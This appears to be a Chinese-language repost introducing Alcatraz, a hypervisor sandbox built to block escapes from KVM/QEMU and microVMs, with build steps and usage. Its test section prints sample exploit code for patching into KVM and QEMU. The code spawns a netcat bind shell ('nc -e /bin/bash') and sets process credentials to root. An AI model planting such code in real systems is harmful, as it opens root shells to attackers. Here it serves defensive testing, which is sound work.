目录导航
Alcatraz介绍
Alcatraz 是一个实用的虚拟机管理程序沙箱,用于防止从 KVM/QEMU 和基于 KVM 的 MicroVM 逃逸。它是在下面的安全会议上介绍的。

您可以观看下面的演示视频。
- 演示:它表明 Alcatraz 可以检测和防止各种类型的逃逸。
__ _ __ __ _____ ___ __ ____
/ /\ | | / /` / /\ | | | |_) / /\ / /
/_/--\ |_|__ \_\_, /_/--\ |_| |_| \ /_/--\ /_/_
/=[-----]
[| | [] |
/||.| |_ _ _ _. -._
| \| | '` '-' '--''---`'-' | U | /\
. | Y | [] -- [} -- {} ..| ,'Y \ /\
/ \ | [] | [] ' {} ' {}| /. / .Y '\
/ Y '\ |. | [] ` [} ` {} ..|._,', Y /_,._/
_'\.__,.-.-( []| [} {} || /`-,
;`~T . | [] ' ` [} _,'-_,.-(^) ,-'@@# ~~
#;'~~l {| [} ,.-'`'~~~'~ -` @@a@@#
^^^ #;\~~/\{| [] _,'-~~~~~ '~~_.,` @@@aa@@#
#a;\~~~/\| _,.-'`~~~~~~_..-'' aaa@@@&&&@@##
~~ ##a; \~~( Y``~~ Y~~~~ / `, aaaa@@@@aa@@@## ^^^^
#aa `._~ /~ L~\~~_./'` aaa@@@@$$@@@&&@##
#a@@@Aaaa'--..,-'`aa@@@@@&&@@@aa@@@@# ~~
##@@&&@@@AA@@@@@@@@@@&&@@@@A@@@@@##
#@@@@@$$@@@AA@@@a@@@&&@@@@@##
##@aaAAA@@AAAa#### ^^^
^^^ #aaAAaa@
~~
A Practical Hypervisor Sandbox to Prevent Escapes from
the KVM/QEMU and KVM-based MicroVMs v1.0.0
Alcatraz诞生背景
自从 DevOps 和无服务器架构出现以来,云厂商已经支持容器服务以及传统的虚拟机 (VM) 服务。传统 VM 与主机高度隔离,因为虚拟机监视器 (VMM),又名管理程序,将其与虚拟化硬件分开。相比之下,容器使用内核级隔离技术,例如命名空间和 cgroup。它们使容器比 VM 更快。但是,容器共享主机内核,因此攻击者可以利用内核漏洞从容器中逃脱。
最近的容器利用管理程序技术来克服这个问题。Kata 容器使用 KVM/QEMU 来隔离容器。亚马逊的 Firecracker 制造的 microVM 使用基于 KVM 的轻量级管理程序进行隔离。Google 的 gVisor 也使用带有用户级内核的轻量级管理程序。这些架构提供了很强的隔离性,但仍有改进的空间。由于 KVM 以管理程序特权(Ring -1)运行,攻击者仍然可以通过 KVM 漏洞直接逃脱。许多研究人员试图通过获取系统管理模式(SMM、Ring -2)并对其进行监控来保护管理程序。但是,他们需要修改 BIOS/UEFI 固件。
由于这种环境,我制作了 Alcatraz,这是一个新的、实用的虚拟机管理程序沙箱,以防止从 KVM/QEMU 和基于 KVM 的微虚拟机中逃逸。Alcatraz 由 Hyper-box 和定制的内核组成。Hyper-box 是一个从头开始制作的用于隔离 KVM 的 pico 虚拟机管理程序。与其他人不同的是,它成为主机管理程序(Ring -1)并将 KVM 的特权降级为来宾管理程序(Ring 0)。Hyper-box 具有嵌套的管理程序功能,用于对 KVM 进行沙箱处理,并且不需要 SMM 或固件修改。它还监视所有系统调用以防止逃逸和未经授权的权限提升。量身定制的 Linux 内核删除了遗留系统调用,以减少攻击面并与 Hyper-box 配合。Alcatraz 可用于在 VM 和 microVM 中运行不受信任代码的笔记本电脑、台式机和服务器。
Alcatraz框架
我解释了恶魔岛的架构。我没有像其他作品那样走高处。相反,我用我的 pico 管理程序 Hyper-box 制作了一个沙箱,并将 KVM 的特权降级为如下所示的来宾管理程序。

Hyper-box 具有防止逃逸的核心机制。首先,它使用了Intel VT(虚拟化技术)的内存和寄存器保护技术。它利用扩展页表 (EPT) 和控制寄存器 (CR) 监控功能并保护未授权代码和只读数据区域。其次,它还使用硬件断点来监控所有系统调用,并防止进程创建和权限提升等未经授权的行为。最后,它模拟 KVM 的 VMX(虚拟机扩展)指令。KVM 无法执行 VMX 指令,因为 Hyper-box 将其权限降级到 Ring 0。因此,Hyper-box 使用 Intel VT 的 VMCS 阴影和 VPID 功能来运行它们。
定制的 Linux 内核是原始内核的重新编译版本。我删除了遗留系统调用接口以减少攻击面。我还删除了运行时代码修改功能,因为 Hyper-box 保护代码和 RO 数据以防止转义。
如果您想了解更多关于 Alcatraz 的信息,请参阅我在Black Hat USA 2021 上的演讲。
搭建方法
3.1. 构建定制的 Linux 内核 (Ubuntu 20.04)
Alcatraz 由 Hyper-box 和定制的 Linux 内核组成。要定制一个,请按照以下命令进行操作。
# Prepare kernel source and build environment. # 5.8.0-44-generic is recommended, but higher versions are also fine. $> sudo apt-get install linux-image-5.8.0-44-generic $> sudo apt-get install linux-modules-extra-5.8.0-44-generic $> sudo apt-get build-dep linux-image-unsigned-5.8.0-44-generic $> sudo apt-get install linux-headers-5.8.0-44-generic ncurses-dev $> apt-get source linux-image-unsigned-5.8.0-44-generic # Make new .config file. $> cd linux-hwe-5.8-5.8.0 $> cp /boot/config-5.8.0-44-generic .config $> make menuconfig # Load the .config file using the "Load" menu and save it to .config using the "Save" menu. # Change .config file to tailor the kernel. $> sed -i 's/CONFIG_JUMP_LABEL=y/# CONFIG_JUMP_LABEL is not set/g' .config $> sed -i 's/CONFIG_IA32_EMULATION=y/# CONFIG_IA32_EMULATION is not set/g' .config $> sed -i 's/CONFIG_COMPAT=y/# CONFIG_COMPAT is not set/g' .config $> sed -i 's/CONFIG_COMPAT_32=y/# CONFIG_COMPAT_32 is not set/g' .config $> sed -i 's/CONFIG_X86_X32=y/# CONFIG_X86_X32 is not set/g' .config $> sed -i 's/CONFIG_X86_X32_ABI=y/# CONFIG_X86_X32_ABI is not set/g' .config # Build the kernel and modules. $> make -j8; make modules # Install the kernel and modules. $> sudo make modules_install $> sudo make install # Reboot and boot with the tailored Linux kernel. $> sudo reboot
3.2. 构建 Hyper-box 模块
Hyper-box 是一个可加载的内核模块 (LKM),因此它必须使用定制的 Linux 内核构建。请检查您是否先使用它启动了系统,然后按照以下命令进行操作。
# Prepare Hyper-box source and required packages.
$> sudo apt-get install nasm git
$> git clone https://github.com/kkamagui/alcatraz.git
# Move to the Alcatraz directory and build it.
$> cd alcatraz
$> make
... omitted ...
# Show Hyper-box modules.
$> ls hyper_box
hyper_box.ko ...
$> ls hyper_box_helper
hyper_box_helper.ko ...
使用方法
4.1. 如何运行
正如我上面提到的,Alcatraz 的 Hyper-box 是一个可加载的内核模块。因此,您需要使用 insmod 命令加载 hyper_box.ko 和 hyper_box_helper.ko 模块。
# Move to the Alcatraz directory and load two modules.
$> sudo insmod hyper_box/hyper_box.ko
$> sudo insmod hyper_box_helper/hyper_box_helper.ko

Hyper-box 加载后,它会监控和防止未经授权的行为,例如代码修改、进程创建和权限提升。如果您想观看演示视频,请查看链接Demo。
4.2. 嵌套虚拟化支持
也许您想在 KVM/QEMU 客户机上运行 KVM。它称为嵌套虚拟化,Alcatraz 支持此功能。但是,您必须关闭主机 KVM 的 VMCS 阴影功能,因为 Alcatraz 已经拥有该功能。要在一个 VM 内运行多个 VM,请执行以下命令。
# Unload kvm_intel module.
$> sudo rmmod kvm_intel
# Load kvm_intel module with disabling the VMCS shadowing feature.
$> sudo modprobe kvm_intel enable_shadow_vmcs=0
# Move to the Alcatraz directory and load two modules.
# After that, you can run the KVM on a guest machine with Alcatraz.
$> sudo insmod hyper_box/hyper_box.ko
$> sudo insmod hyper_box_helper/hyper_box_helper.ko

5. 如何测试
开发是一个复杂的过程,需要付出很多努力。为了降低它的复杂性,我假设攻击者已经获得了控制流并且可以执行小的shellcode。然后,我直接在 KVM 和 QEMU 中添加了一些利用代码。如果您想让漏洞利用更接近现实世界,请选择易受攻击的 Linux 内核和 QEMU 版本,并执行以下示例漏洞利用的 shellcode。
5.1. KVM 漏洞利用示例代码
/*
* This code is for KVM exploitations.
*
* Please add code below to arch/x86/kvm/x86.c.
*
*/
... omitted ...
#define LOG_ATTACKER "attacker:"
#define TYPE_CREATE_PROCESS 0
#define TYPE_PRIVILEGE_ESCALATION 1
/* Sample exploitation function. */
static void kvm_exploit(int type)
{
/* Process name and arguments you want to create. */
static char *argv[] = {
"/bin/nc", "-e", "/bin/bash", "-l", "-p", "9998",
NULL };
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin:",
NULL };
struct cred *old;
int ret;
int i;
/* Create a process. */
if (type == TYPE_CREATE_PROCESS)
{
pr_err(ATTACKER"Create a process. Current[%s, PID:%d], parent[%s, PID:%d]\n",
current->comm, current->pid, current->group_leader->comm,
current->group_leader->pid);
ret = call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
}
/* Escalate the current privilege. */
else
{
pr_err(ATTACKER"Privilege escalation. Current[%s, PID:%d], parent[%s, PID:%d]\n",
current->comm, current->pid, current->group_leader->comm,
current->group_leader->pid);
for (i = 0 ; i < 2 ; i++)
{
if (i == 0)
{
old = (struct cred *)current->group_leader->cred;
}
else
{
old = (struct cred *)current->group_leader->real_cred;
}
old->uid.val = 0;
old->gid.val = 0;
old->suid.val = 0;
old->sgid.val = 0;
old->euid.val = 0;
old->egid.val = 0;
}
}
}
int kvm_arch_vcpu_ioctl_run(struct kvm_vcpu *vcpu)
{
struct kvm_run *kvm_run = vcpu->run;
int r;
vcpu_load(vcpu);
kvm_sigset_activate(vcpu);
kvm_load_guest_fpu(vcpu);
... omitted ...
/* ================================================ */
/* Add code here to simulate an IOCTL exploitation. */
/* ================================================ */
/* For creating a process. */
kvm_exploit(TYPE_CREATE_PROCESS);
/* For escalating the current privilege. */
kvm_exploit(TYPE_PRIVILEGE_ESCALATION);
if (kvm_run->immediate_exit)
r = -EINTR;
else
r = vcpu_run(vcpu);
out:
kvm_put_guest_fpu(vcpu);
if (kvm_run->kvm_valid_regs)
store_regs(vcpu);
post_kvm_run_save(vcpu);
kvm_sigset_deactivate(vcpu);
vcpu_put(vcpu);
return r;
}
5.2. QEMU exp 示例代码
/*
* This code is for a QEMU exploitation.
*
* Please add code below to accel/kvm/kvm-all.c.
*
*/
... omitted ...
/* Sample exploitation function. */
void qemu_escape(void)
{
static char *argv[] = {
"/bin/nc", "-e", "/bin/bash", "-l", "-p", "9998",
NULL };
char* env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin:", NULL };
if (fork() == 0)
{
execve(argv[0], argv, env);
}
}
int kvm_cpu_exec(CPUState *cpu)
{
struct kvm_run *run = cpu->kvm_run;
int ret, run_ret;
DPRINTF("kvm_cpu_exec()\n");
if (kvm_arch_process_async_events(cpu)) {
atomic_set(&cpu->exit_request, 0);
return EXCP_HLT;
}
qemu_mutex_unlock_iothread();
cpu_exec_start(cpu);
do {
... omitted ...
/* ============================================ */
/* Add code here to simulate QEMU exploitation. */
/* ============================================ */
qemu_escape();
trace_kvm_run_exit(cpu->cpu_index, run->exit_reason);
switch (run->exit_reason) {
case KVM_EXIT_IO:
DPRINTF("handle_io\n");
/* Called outside BQL */
kvm_handle_io(run->io.port, attrs,
(uint8_t *)run + run->io.data_offset,
run->io.direction,
run->io.size,
run->io.count);
ret = 0;
break;
... omitted ...
= 注意 =
Alcatraz 的 Hyper-box 保护内核代码、只读数据、系统表、特权寄存器等。因此,如果您考虑禁用以下功能,它会有所帮助。
- 系统电源管理(休眠和挂起)
- 某些机器可能会在休眠和暂停时修改受保护区域。
- 模块卸载
- Hyper-box 保护模块的代码和只读数据。因此,如果您卸载模块,则可能会导致问题。如果您真的想这样做,请不要卸载模块或将 HYPERBOX_USE_MODULE_PROTECTION 设置为 hyper_box.h 文件的 0。
项目地址
GitHub
https://github.com/kkamagui/alcatraz
转载请注明出处及链接